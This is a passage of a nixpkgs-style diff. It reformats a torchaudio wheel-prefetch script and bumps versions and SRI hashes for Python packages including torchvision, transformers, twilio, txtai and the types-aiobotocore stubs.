$linux_cpu_bucket/torchaudio-${version}-cp38-cp38-linux_aarch64.whl torchaudio-${version}-cp38-cp38-manylinux2014_aarch64.whl" - "aarch64-linux-39 $linux_cpu_bucket/torchaudio-${version}-cp39-cp39-linux_aarch64.whl torchaudio-${version}-cp39-cp39-manylinux2014_aarch64.whl" - "aarch64-linux-310 $linux_cpu_bucket/torchaudio-${version}-cp310-cp310-linux_aarch64.whl torchaudio-${version}-cp310-cp310-manylinux2014_aarch64.whl" - "aarch64-linux-311 $linux_cpu_bucket/torchaudio-${version}-cp311-cp311-linux_aarch64.whl torchaudio-${version}-cp311-cp311-manylinux2014_aarch64.whl" + "x86_64-linux-38 $linux_cuda_bucket/torchaudio-${version}%2B${linux_cuda_version}-cp38-cp38-linux_x86_64.whl torchaudio-${version}-cp38-cp38-linux_x86_64.whl" + "x86_64-linux-39 $linux_cuda_bucket/torchaudio-${version}%2B${linux_cuda_version}-cp39-cp39-linux_x86_64.whl torchaudio-${version}-cp39-cp39-linux_x86_64.whl" + "x86_64-linux-310 $linux_cuda_bucket/torchaudio-${version}%2B${linux_cuda_version}-cp310-cp310-linux_x86_64.whl torchaudio-${version}-cp310-cp310-linux_x86_64.whl" + "x86_64-linux-311 $linux_cuda_bucket/torchaudio-${version}%2B${linux_cuda_version}-cp311-cp311-linux_x86_64.whl torchaudio-${version}-cp311-cp311-linux_x86_64.whl" + "x86_64-darwin-38 $darwin_bucket/torchaudio-${version}-cp38-cp38-macosx_10_13_x86_64.whl torchaudio-${version}-cp38-cp38-macosx_10_9_x86_64.whl" + "x86_64-darwin-39 $darwin_bucket/torchaudio-${version}-cp39-cp39-macosx_10_13_x86_64.whl torchaudio-${version}-cp39-cp39-macosx_10_9_x86_64.whl" + "x86_64-darwin-310 $darwin_bucket/torchaudio-${version}-cp310-cp310-macosx_10_13_x86_64.whl torchaudio-${version}-cp310-cp310-macosx_10_9_x86_64.whl" + "x86_64-darwin-311 $darwin_bucket/torchaudio-${version}-cp311-cp311-macosx_10_13_x86_64.whl torchaudio-${version}-cp311-cp311-macosx_10_9_x86_64.whl" + "aarch64-darwin-38 $darwin_bucket/torchaudio-${version}-cp38-cp38-macosx_11_0_arm64.whl torchaudio-${version}-cp38-cp38-macosx_11_0_arm64.whl" + "aarch64-darwin-39 $darwin_bucket/torchaudio-${version}-cp39-cp39-macosx_11_0_arm64.whl torchaudio-${version}-cp39-cp39-macosx_11_0_arm64.whl" + "aarch64-darwin-310 $darwin_bucket/torchaudio-${version}-cp310-cp310-macosx_11_0_arm64.whl torchaudio-${version}-cp310-cp310-macosx_11_0_arm64.whl" + "aarch64-darwin-311 $darwin_bucket/torchaudio-${version}-cp311-cp311-macosx_11_0_arm64.whl torchaudio-${version}-cp311-cp311-macosx_11_0_arm64.whl" + "aarch64-linux-38 $linux_cpu_bucket/torchaudio-${version}-cp38-cp38-linux_aarch64.whl torchaudio-${version}-cp38-cp38-manylinux2014_aarch64.whl" + "aarch64-linux-39 $linux_cpu_bucket/torchaudio-${version}-cp39-cp39-linux_aarch64.whl torchaudio-${version}-cp39-cp39-manylinux2014_aarch64.whl" + "aarch64-linux-310 $linux_cpu_bucket/torchaudio-${version}-cp310-cp310-linux_aarch64.whl torchaudio-${version}-cp310-cp310-manylinux2014_aarch64.whl" + "aarch64-linux-311 $linux_cpu_bucket/torchaudio-${version}-cp311-cp311-linux_aarch64.whl torchaudio-${version}-cp311-cp311-manylinux2014_aarch64.whl" ) hashfile=binary-hashes-"$version".nix -echo " \"$version\" = {" >> $hashfile +echo " \"$version\" = {" >>$hashfile for url_and_key in "${url_and_key_list[@]}"; do - key=$(echo "$url_and_key" | cut -d' ' -f1) - url=$(echo "$url_and_key" | cut -d' ' -f2) - name=$(echo "$url_and_key" | cut -d' ' -f3) + key=$(echo "$url_and_key" | cut -d' ' -f1) + url=$(echo "$url_and_key" | cut -d' ' -f2) + name=$(echo "$url_and_key" | cut -d' ' -f3) - echo "prefetching ${url}..." - hash=$(nix hash to-sri --type sha256 `nix-prefetch-url "$url" --name "$name"`) + echo "prefetching ${url}..." + hash=$(nix hash to-sri --type sha256 $(nix-prefetch-url "$url" --name "$name")) - echo " $key = {" >> $hashfile - echo " name = \"$name\";" >> $hashfile - echo " url = \"$url\";" >> $hashfile - echo " hash = \"$hash\";" >> $hashfile - echo " };" >> $hashfile + echo " $key = {" >>$hashfile + echo " name = \"$name\";" >>$hashfile + echo " url = \"$url\";" >>$hashfile + echo " hash = \"$hash\";" >>$hashfile + echo " };" >>$hashfile - echo + echo done -echo " };" >> $hashfile +echo " };" >>$hashfile echo "done." diff --git a/pkgs/development/python-modules/torchio/default.nix b/pkgs/development/python-modules/torchio/default.nix index 66071011f2fb6..3549664e15b9d 100644 --- a/pkgs/development/python-modules/torchio/default.nix +++ b/pkgs/development/python-modules/torchio/default.nix @@ -19,16 +19,16 @@ buildPythonPackage rec { pname = "torchio"; - version = "0.19.1"; - format = "pyproject"; + version = "0.19.5"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "fepegar"; - repo = pname; + repo = "torchio"; rev = "refs/tags/v${version}"; - hash = "sha256-SNX558kSRCS9Eks00Kj2kFmo7hCUgV6saYLsnx/Kus0="; + hash = "sha256-RqKJStUZhnSmsifn3WjYLfmRkkme+GOe6dp0E0MW9tE="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/torchrl/default.nix b/pkgs/development/python-modules/torchrl/default.nix index 371a178ab5c94..591e59302ea6a 100644 --- a/pkgs/development/python-modules/torchrl/default.nix +++ b/pkgs/development/python-modules/torchrl/default.nix @@ -31,7 +31,7 @@ buildPythonPackage rec { pname = "torchrl"; - version = "0.3.0"; + version = "0.3.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -40,7 +40,7 @@ buildPythonPackage rec { owner = "pytorch"; repo = "rl"; rev = "refs/tags/v${version}"; - hash = "sha256-ngl/gbNm+62W6UFNo8GOhSaIuK9FERDxGBCr++7B4gw="; + hash = "sha256-lETW996IKPUGgZpe+cyzrXvVmDSwj5G4XFreFmGxReQ="; }; nativeBuildInputs = [ @@ -134,6 +134,7 @@ buildPythonPackage rec { meta = with lib; { description = "A modular, primitive-first, python-first PyTorch library for Reinforcement Learning"; homepage = "https://github.com/pytorch/rl"; + changelog = "https://github.com/pytorch/rl/releases/tag/v${version}"; license = licenses.mit; maintainers = with maintainers; [ GaetanLepage ]; }; diff --git a/pkgs/development/python-modules/torchvision/bin.nix b/pkgs/development/python-modules/torchvision/bin.nix index 4448f97a1c23c..e1bc7295cb2d4 100644 --- a/pkgs/development/python-modules/torchvision/bin.nix +++ b/pkgs/development/python-modules/torchvision/bin.nix @@ -16,7 +16,7 @@ let pyVerNoDot = builtins.replaceStrings [ "." ] [ "" ] python.pythonVersion; srcs = import ./binary-hashes.nix version; unsupported = throw "Unsupported system"; - version = "0.17.0"; + version = "0.17.1"; in buildPythonPackage { inherit version; diff --git a/pkgs/development/python-modules/torchvision/binary-hashes.nix b/pkgs/development/python-modules/torchvision/binary-hashes.nix index 44052910a03a7..d7cb16d01b61f 100644 --- a/pkgs/development/python-modules/torchvision/binary-hashes.nix +++ b/pkgs/development/python-modules/torchvision/binary-hashes.nix @@ -6,66 +6,66 @@ # To add a new version, run "prefetch.sh 'new-version'" to paste the generated file as follows. version : builtins.getAttr version { - "0.17.0" = { + "0.17.1" = { x86_64-linux-38 = { - name = "torchvision-0.17.0-cp38-cp38-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torchvision-0.17.0%2Bcu121-cp38-cp38-linux_x86_64.whl"; - hash = "sha256-3l28SA/MEAeS46rPkO3/5bzuTO06vE/B0hDSNH/DbgU="; + name = "torchvision-0.17.1-cp38-cp38-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torchvision-0.17.1%2Bcu121-cp38-cp38-linux_x86_64.whl"; + hash = "sha256-oCRjQQZPPBdtqKpuMvATD2ACOAyQruqOMccY3ixUZOE="; }; x86_64-linux-39 = { - name = "torchvision-0.17.0-cp39-cp39-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torchvision-0.17.0%2Bcu121-cp39-cp39-linux_x86_64.whl"; - hash = "sha256-v1BQa1hwhI5c8KV+ZSa50Az058aZKUkbqR+5/DhKvDg="; + name = "torchvision-0.17.1-cp39-cp39-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torchvision-0.17.1%2Bcu121-cp39-cp39-linux_x86_64.whl"; + hash = "sha256-WsK2vDCcNDud6KklczHPcVtm+qm1kiep8HDZ4BJS5go="; }; x86_64-linux-310 = { - name = "torchvision-0.17.0-cp310-cp310-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torchvision-0.17.0%2Bcu121-cp310-cp310-linux_x86_64.whl"; - hash = "sha256-4Sc+mGL8gh/rxMcW8ThJsf+ofA1p9quCQ1bFUyxJDwg="; + name = "torchvision-0.17.1-cp310-cp310-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torchvision-0.17.1%2Bcu121-cp310-cp310-linux_x86_64.whl"; + hash = "sha256-J69HkV9udiwdROWOgIjSKsl0RWaPn3k1JAMrK69PNL0="; }; x86_64-linux-311 = { - name = "torchvision-0.17.0-cp311-cp311-linux_x86_64.whl"; - url = "https://download.pytorch.org/whl/cu121/torchvision-0.17.0%2Bcu121-cp311-cp311-linux_x86_64.whl"; - hash = "sha256-/WbJVU/BRIYzwjLu3cvZCpvNE1rpTmgvTLchmEl0yps="; + name = "torchvision-0.17.1-cp311-cp311-linux_x86_64.whl"; + url = "https://download.pytorch.org/whl/cu121/torchvision-0.17.1%2Bcu121-cp311-cp311-linux_x86_64.whl"; + hash = "sha256-bYKfOZSQQCWyiXHMxhvWbt2VKATyEipuEENQuOkXL08="; }; x86_64-darwin-38 = { - name = "torchvision-0.17.0-cp38-cp38-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.0-cp38-cp38-macosx_10_13_x86_64.whl"; - hash = "sha256-hw182ldCDkTSDrB7/je/U0SgZDSnphlbTH891Vg4WH0="; + name = "torchvision-0.17.1-cp38-cp38-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.1-cp38-cp38-macosx_10_13_x86_64.whl"; + hash = "sha256-JiEJcGX6HIJ4heK1IQLoOaNUG5M7epDg+jxCw94bw88="; }; x86_64-darwin-39 = { - name = "torchvision-0.17.0-cp39-cp39-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.0-cp39-cp39-macosx_10_13_x86_64.whl"; - hash = "sha256-sc7UOLge9mKnHIyB3rrwyARVs1uBHKVaTDxZPXIbVgo="; + name = "torchvision-0.17.1-cp39-cp39-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.1-cp39-cp39-macosx_10_13_x86_64.whl"; + hash = "sha256-WCmacks3uJPHzk0LMuoUgMMORnzBFBZ5ZLRfYBP2wtM="; }; x86_64-darwin-310 = { - name = "torchvision-0.17.0-cp310-cp310-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.0-cp310-cp310-macosx_10_13_x86_64.whl"; - hash = "sha256-FTiCzY/449vvXFBU/dFd9k6FQgVGgFqQwLIiHy8RnEo="; + name = "torchvision-0.17.1-cp310-cp310-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.1-cp310-cp310-macosx_10_13_x86_64.whl"; + hash = "sha256-BkGIgCErZuRehV3Tn1Nuf9SLTmsDShHdn+niOEr7Uew="; }; x86_64-darwin-311 = { - name = "torchvision-0.17.0-cp311-cp311-macosx_10_9_x86_64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.0-cp311-cp311-macosx_10_13_x86_64.whl"; - hash = "sha256-ENJ2gh8RX7Np5s8fG3eyzKYM2hLLs5pBUTqdPQ8qk64="; + name = "torchvision-0.17.1-cp311-cp311-macosx_10_9_x86_64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.1-cp311-cp311-macosx_10_13_x86_64.whl"; + hash = "sha256-6izNv1l04L8n/WZEozsZywcAKXzzl7sEaediwRxsQQU="; }; aarch64-darwin-38 = { - name = "torchvision-0.17.0-cp38-cp38-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.0-cp38-cp38-macosx_11_0_arm64.whl"; - hash = "sha256-R39uZKnXmMD1re/DAKzCINpvF+9cHhENIBCPZlVP7k0="; + name = "torchvision-0.17.1-cp38-cp38-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.1-cp38-cp38-macosx_11_0_arm64.whl"; + hash = "sha256-XOdkZq8rWjBXOTnK4ebmLikxbOs+50gJEALzEqsJEvY="; }; aarch64-darwin-39 = { - name = "torchvision-0.17.0-cp39-cp39-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.0-cp39-cp39-macosx_11_0_arm64.whl"; - hash = "sha256-tTVpxSvUvRF2oeSdjqVYg7z1fhYUy5fi6M43J2gpm3A="; + name = "torchvision-0.17.1-cp39-cp39-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.1-cp39-cp39-macosx_11_0_arm64.whl"; + hash = "sha256-ihsX+xWLK4gfLIeW/hg5piTknV/QeqYfba5gukgZQho="; }; aarch64-darwin-310 = { - name = "torchvision-0.17.0-cp310-cp310-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.0-cp310-cp310-macosx_11_0_arm64.whl"; - hash = "sha256-xVwvhuPzoh3dknOalyNmJE6bF5Fug27EcWewoMCDxl8="; + name = "torchvision-0.17.1-cp310-cp310-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.1-cp310-cp310-macosx_11_0_arm64.whl"; + hash = "sha256-M9ZdDH/cs/e8HdjtMOo81+BYe0rRsQS1Z3yBkai62fE="; }; aarch64-darwin-311 = { - name = "torchvision-0.17.0-cp311-cp311-macosx_11_0_arm64.whl"; - url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.0-cp311-cp311-macosx_11_0_arm64.whl"; - hash = "sha256-o+7y2t2ttcIegC4FUN1+PuPZjEMPSu0hKuO6A1hVi+E="; + name = "torchvision-0.17.1-cp311-cp311-macosx_11_0_arm64.whl"; + url = "https://download.pytorch.org/whl/cpu/torchvision-0.17.1-cp311-cp311-macosx_11_0_arm64.whl"; + hash = "sha256-kQbjLJ8ecK+oFyzxsGTPnCmY2N/wdp7GnVN7ICCe5D0="; }; }; } diff --git a/pkgs/development/python-modules/torchvision/default.nix b/pkgs/development/python-modules/torchvision/default.nix index 013d1886b684b..a8e90f7211c42 100644 --- a/pkgs/development/python-modules/torchvision/default.nix +++ b/pkgs/development/python-modules/torchvision/default.nix @@ -17,7 +17,7 @@ let inherit (cudaPackages) backendStdenv; pname = "torchvision"; - version = "0.17.0"; + version = "0.17.1"; in buildPythonPackage { inherit pname version; @@ -26,7 +26,7 @@ buildPythonPackage { owner = "pytorch"; repo = "vision"; rev = "refs/tags/v${version}"; - hash = "sha256-ZAmvVEVLzZ+AWER4vGssAhvFscoFooS1VaZnvgVDeNk="; + hash = "sha256-K2irwwf6qgyfZqJH1NUasDmBSA4mH2Rclx7A7zP4kiQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/tplink-omada-client/default.nix b/pkgs/development/python-modules/tplink-omada-client/default.nix index 4006c002d52cd..d71d2c86194fd 100644 --- a/pkgs/development/python-modules/tplink-omada-client/default.nix +++ b/pkgs/development/python-modules/tplink-omada-client/default.nix @@ -10,15 +10,15 @@ buildPythonPackage rec { pname = "tplink-omada-client"; - version = "1.3.7"; - format = "pyproject"; + version = "1.3.11"; + pyproject = true; disabled = pythonOlder "3.9"; src = fetchPypi { pname = "tplink_omada_client"; inherit version; - hash = "sha256-iSCrFrcj6csslIkd8yt0wvvOSTCHRiMnsMOeUDcsE4U="; + hash = "sha256-/mH9VqdF1l89qtAhug+ii4PCRO0PxKDr7LzvevjuZgc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/tqdm/default.nix b/pkgs/development/python-modules/tqdm/default.nix index 84489b22ce4ae..2cd490e844e5a 100644 --- a/pkgs/development/python-modules/tqdm/default.nix +++ b/pkgs/development/python-modules/tqdm/default.nix @@ -48,6 +48,7 @@ buildPythonPackage rec { pytestFlagsArray = [ "-W" "ignore::FutureWarning" + "-W" "ignore::DeprecationWarning" ]; # Remove performance testing. diff --git a/pkgs/development/python-modules/trackpy/default.nix b/pkgs/development/python-modules/trackpy/default.nix index 0123ce0cbd6cd..1292e7d72a711 100644 --- a/pkgs/development/python-modules/trackpy/default.nix +++ b/pkgs/development/python-modules/trackpy/default.nix @@ -15,16 +15,16 @@ buildPythonPackage rec { pname = "trackpy"; - version = "0.6.1"; + version = "0.6.2"; format = "setuptools"; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "soft-matter"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-NG1TOppqRbIZHLxJjlaXD4icYlAUkSxtmmC/fsS/pXo="; + hash = "sha256-HqInZkKvMM0T/HrDeZJcVHMxuRmhMvu0qAl5bAu3eQI="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/transformers/default.nix b/pkgs/development/python-modules/transformers/default.nix index ea72ad9f0424e..0a0af07b89eea 100644 --- a/pkgs/development/python-modules/transformers/default.nix +++ b/pkgs/development/python-modules/transformers/default.nix @@ -53,7 +53,7 @@ buildPythonPackage rec { pname = "transformers"; - version = "4.37.2"; + version = "4.38.2"; format = "setuptools"; disabled = pythonOlder "3.8"; @@ -62,7 +62,7 @@ buildPythonPackage rec { owner = "huggingface"; repo = "transformers"; rev = "refs/tags/v${version}"; - hash = "sha256-O8A+6f6Qwr/OqwzA3i3MPCmcwg1BoQY6mvhozrLz16Y="; + hash = "sha256-/rt2XHN46NcFwlM9MOygVvpQkfPVu2eCNybYmSj711M="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/trimesh/default.nix b/pkgs/development/python-modules/trimesh/default.nix index d05cefe6ebe47..c3f43507af336 100644 --- a/pkgs/development/python-modules/trimesh/default.nix +++ b/pkgs/development/python-modules/trimesh/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "trimesh"; - version = "4.1.3"; + version = "4.1.7"; format = "pyproject"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-SIHIA6HKo3Ka6rmZrBZfSmN/sNfEjSImYUtbtQs3ozQ="; + hash = "sha256-bO7fIrk+ScSvz1iwLMdPN+fK9T5VhIEitxdZRnLBSxA="; }; nativeBuildInputs = [ setuptools ]; diff --git a/pkgs/development/python-modules/troposphere/default.nix b/pkgs/development/python-modules/troposphere/default.nix index 1f2cfdd7febc2..adb4df9753a38 100644 --- a/pkgs/development/python-modules/troposphere/default.nix +++ b/pkgs/development/python-modules/troposphere/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "troposphere"; - version = "4.5.3"; + version = "4.6.0"; format = "setuptools"; disabled = pythonOlder "3.7"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "cloudtools"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-Kk4PvkUC1JB2MNyarq/cHhOOc+2Id7HlR/hSt/5JjlI="; + hash = "sha256-DxLgAEuIfO8K42DbkOaPjE+MS6/WKnybDsszuCXwufM="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/trytond/default.nix b/pkgs/development/python-modules/trytond/default.nix index f196b3a3d4727..d9cc9ae10312e 100644 --- a/pkgs/development/python-modules/trytond/default.nix +++ b/pkgs/development/python-modules/trytond/default.nix @@ -25,14 +25,14 @@ buildPythonPackage rec { pname = "trytond"; - version = "7.0.5"; + version = "7.0.8"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-UTDONJrb28gnGkoV6Rb/2ChsgcLIxCmDhSd4gvFxq14="; + hash = "sha256-ZpK3+DZi2U4TK7dHwIJnw5u/lFrvtBD+MhRLkdO8DLI="; }; propagatedBuildInputs = [ @@ -80,7 +80,7 @@ buildPythonPackage rec { modularity, scalability and security. ''; homepage = "http://www.tryton.org/"; - changelog = "https://hg.tryton.org/trytond/file/${version}/CHANGELOG"; + changelog = "https://foss.heptapod.net/tryton/tryton/-/blob/trytond-${version}/trytond/CHANGELOG?ref_type=tags"; license = licenses.gpl3Plus; maintainers = with maintainers; [ udono johbo ]; }; diff --git a/pkgs/development/python-modules/tsfresh/default.nix b/pkgs/development/python-modules/tsfresh/default.nix index 36a93a5400517..a4541ba7b98c9 100644 --- a/pkgs/development/python-modules/tsfresh/default.nix +++ b/pkgs/development/python-modules/tsfresh/default.nix @@ -26,7 +26,7 @@ buildPythonPackage rec { pname = "tsfresh"; - version = "0.20.1"; + version = "0.20.2"; pyproject = true; disabled = pythonOlder "3.7"; @@ -34,8 +34,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "blue-yonder"; repo = "tsfresh"; - rev = "v${version}"; - hash = "sha256-JmdP/6aTnuYsBRiRq9zZng3xNYhOdr9V8bp1trAv508="; + rev = "refs/tags/v${version}"; + hash = "sha256-UTra+RAQnrv61NQ86xGYrUVYiycUAWhN/45F6/0ZvPI="; }; patches = [ diff --git a/pkgs/development/python-modules/tuf/default.nix b/pkgs/development/python-modules/tuf/default.nix index b6965a7f42e25..2572c4ed8cd74 100644 --- a/pkgs/development/python-modules/tuf/default.nix +++ b/pkgs/development/python-modules/tuf/default.nix @@ -11,7 +11,7 @@ buildPythonPackage rec { pname = "tuf"; - version = "3.1.0"; + version = "3.1.1"; pyproject = true; disabled = pythonOlder "3.8"; @@ -20,12 +20,12 @@ buildPythonPackage rec { owner = "theupdateframework"; repo = "python-tuf"; rev = "refs/tags/v${version}"; - hash = "sha256-IGF/8RdX7Oxl6gdqPGN1w/6q4zaei+MnYXBZepB4KUA="; + hash = "sha256-HiF/b6aOhDhhQqYx/bjMXHABxmAJY4vkLlTheiL8zEo="; }; postPatch = '' substituteInPlace pyproject.toml \ - --replace "hatchling==" "hatchling>=" + --replace-fail "hatchling==" "hatchling>=" ''; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/twilio/default.nix b/pkgs/development/python-modules/twilio/default.nix index 2deb71addc849..b730c0951194c 100644 --- a/pkgs/development/python-modules/twilio/default.nix +++ b/pkgs/development/python-modules/twilio/default.nix @@ -19,7 +19,7 @@ buildPythonPackage rec { pname = "twilio"; - version = "8.13.0"; + version = "9.0.0"; pyproject = true; disabled = pythonOlder "3.7"; @@ -28,7 +28,7 @@ buildPythonPackage rec { owner = "twilio"; repo = "twilio-python"; rev = "refs/tags/${version}"; - hash = "sha256-HlHT7fJbDz8+7pTWHortK2xKDzoIQElJPbUTxmIdGCs="; + hash = "sha256-5PhINmG1y+oAEpfxaB8ZFHfWlo0jRZnUKO5oUPcnFuM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/txtai/default.nix b/pkgs/development/python-modules/txtai/default.nix index dd77084ad3a83..4bf59621b5ca7 100644 --- a/pkgs/development/python-modules/txtai/default.nix +++ b/pkgs/development/python-modules/txtai/default.nix @@ -52,7 +52,7 @@ , unittestCheckHook }: let - version = "6.3.0"; + version = "7.0.0"; api = [ aiohttp fastapi uvicorn ]; # cloud = [ apache-libcloud ]; console = [ rich ]; @@ -105,7 +105,7 @@ buildPythonPackage { owner = "neuml"; repo = "txtai"; rev = "refs/tags/v${version}"; - hash = "sha256-Efk4HAJsQtSGp4S8S1dFBmObJ9ff9u9bRrTa5lACpTU="; + hash = "sha256-dYAzbdGEu9gAUzptuSfej6T5LPyTneRWigdAMlGgeqM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/types-aiobotocore-packages/default.nix b/pkgs/development/python-modules/types-aiobotocore-packages/default.nix index da79413474212..bb0bf9a5b313f 100644 --- a/pkgs/development/python-modules/types-aiobotocore-packages/default.nix +++ b/pkgs/development/python-modules/types-aiobotocore-packages/default.nix @@ -1,10 +1,11 @@ { lib -, buildPythonPackage -, pythonOlder , aiobotocore , botocore -, typing-extensions +, buildPythonPackage , fetchPypi +, pythonOlder +, setuptools +, typing-extensions }: let toUnderscore = str: builtins.replaceStrings [ "-" ] [ "_" ] str; @@ -13,7 +14,7 @@ let buildPythonPackage rec { pname = "types-aiobotocore-${serviceName}"; inherit version; - format = "setuptools"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -21,6 +22,10 @@ let inherit pname version hash; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ aiobotocore botocore @@ -44,709 +49,709 @@ let }; in rec { - types-aiobotocore-accessanalyzer = buildTypesAiobotocorePackage "accessanalyzer" "2.8.0" "sha256-7TmekyZVc2l2er1TIJURP7Qy0n7xRYnXt44FJr5XBWA="; + types-aiobotocore-accessanalyzer = buildTypesAiobotocorePackage "accessanalyzer" "2.11.2" "sha256-hUS1ZTj9CbC74Aiinmeh2BEQ2KymcqxuYVSeD12s5xg"; - types-aiobotocore-account = buildTypesAiobotocorePackage "account" "2.8.0" "sha256-rVwj3gN9+U5m6xXwytQpE8mSVPTlezzeNIwNH2vgR4Y="; + types-aiobotocore-account = buildTypesAiobotocorePackage "account" "2.11.2" "sha256-XtL7R0UrgI/9rSxfNYbA0Lez+DiVyB7R+rhn49Nxerc="; - types-aiobotocore-acm = buildTypesAiobotocorePackage "acm" "2.8.0" "sha256-VzV8viXJpHfI1aD1UtCX+GSSZKhRSTzMX5dnkGhm+9Y="; + types-aiobotocore-acm = buildTypesAiobotocorePackage "acm" "2.11.2" "sha256-vpE1GuvKFPsBf3rTk5V6B4ujFGaHE3wk9yN3j0sM0bo="; - types-aiobotocore-acm-pca = buildTypesAiobotocorePackage "acm-pca" "2.8.0" "sha256-ib044RjF+1projrSoyiMdj9LkbT1BJrfObxs1ukSNHo="; + types-aiobotocore-acm-pca = buildTypesAiobotocorePackage "acm-pca" "2.11.2" "sha256-g9a2ad5hZonlKWGnLQchfT5CAgwqsvseeQBQemCSCQw="; - types-aiobotocore-alexaforbusiness = buildTypesAiobotocorePackage "alexaforbusiness" "2.11.2" "sha256-XUzsO3dJmVEyAkwGcZ9BxNb8CceJALCNRIfs6/lFa8M="; + types-aiobotocore-alexaforbusiness = buildTypesAiobotocorePackage "alexaforbusiness" "2.12.1" "sha256-3x/hagYKcLpkQcl2xs5E1BK86pBexCPEI9jXoapaupk="; - types-aiobotocore-amp = buildTypesAiobotocorePackage "amp" "2.11.2" "sha256-hFZPPMjFeQ8YuDV27uuQudFkKaXPaOkEWEbGrEp7nsc="; + types-aiobotocore-amp = buildTypesAiobotocorePackage "amp" "2.12.1" "sha256-nqfw8mMje6HZo6ZiOin1Ki3i/ldnxwcestf+7AYvfRo="; - types-aiobotocore-amplify = buildTypesAiobotocorePackage "amplify" "2.11.2" "sha256-p11NN4Iohj0Rpx7ZWnLKHP64DAKzg5CfwQ5DV2UtRqk="; + types-aiobotocore-amplify = buildTypesAiobotocorePackage "amplify" "2.12.1" "sha256-mI4T75e4J0jUy3zyhRQTf2BK1G0+dvAIteGUOeoTphg="; - types-aiobotocore-amplifybackend = buildTypesAiobotocorePackage "amplifybackend" "2.11.2" "sha256-vG15+IbQZSoSeXPgZw2YgKFtu6vVLgwHrnvXbUOu7ow="; + types-aiobotocore-amplifybackend = buildTypesAiobotocorePackage "amplifybackend" "2.12.1" "sha256-flDA+ENgxiTyUQYlv7B4Rj8avu+7/8HcDCm5gy1boRQ="; - types-aiobotocore-amplifyuibuilder = buildTypesAiobotocorePackage "amplifyuibuilder" "2.11.2" "sha256-WazM6zeqExvUzf6edTg79q5ghSbCFS+4emllnp2/nGs="; + types-aiobotocore-amplifyuibuilder = buildTypesAiobotocorePackage "amplifyuibuilder" "2.12.1" "sha256-BqRPND+LfrMfs7VffO1GB9qk5WQgqPV+jCpwMp2351k="; - types-aiobotocore-apigateway = buildTypesAiobotocorePackage "apigateway" "2.11.2" "sha256-pb13E6ybvZrt1NfYFqPzkXYSxqFVUuE9Ka3LK6oLLB8="; + types-aiobotocore-apigateway = buildTypesAiobotocorePackage "apigateway" "2.12.1" "sha256-jYW4DedcNBTVplVdOfj6JV8zvY00b6xp8kB22ug5ejU="; - types-aiobotocore-apigatewaymanagementapi = buildTypesAiobotocorePackage "apigatewaymanagementapi" "2.11.2" "sha256-Zgv4BfnwMjZTWnnkvSIZx7jEcYDg088Po8wS3YNnscE="; + types-aiobotocore-apigatewaymanagementapi = buildTypesAiobotocorePackage "apigatewaymanagementapi" "2.12.1" "sha256-y/vhZTSQVANxxNWkbcupu3JjhA1CYwcoY9FjDZMarEk="; - types-aiobotocore-apigatewayv2 = buildTypesAiobotocorePackage "apigatewayv2" "2.11.2" "sha256-kQIc0DS8mgBdBBncavFLo6gYoQbqNzgbhzfN7ZRmZU0="; + types-aiobotocore-apigatewayv2 = buildTypesAiobotocorePackage "apigatewayv2" "2.12.1" "sha256-ZPqN6GmWiB9WOE5iiO86SFHoIF8kj0vKRbWvUupZEbQ="; - types-aiobotocore-appconfig = buildTypesAiobotocorePackage "appconfig" "2.11.2" "sha256-ufFeadCeUuzQlVZEoHKC2bdgsnCni4bUlOVII3P0ydQ="; + types-aiobotocore-appconfig = buildTypesAiobotocorePackage "appconfig" "2.12.1" 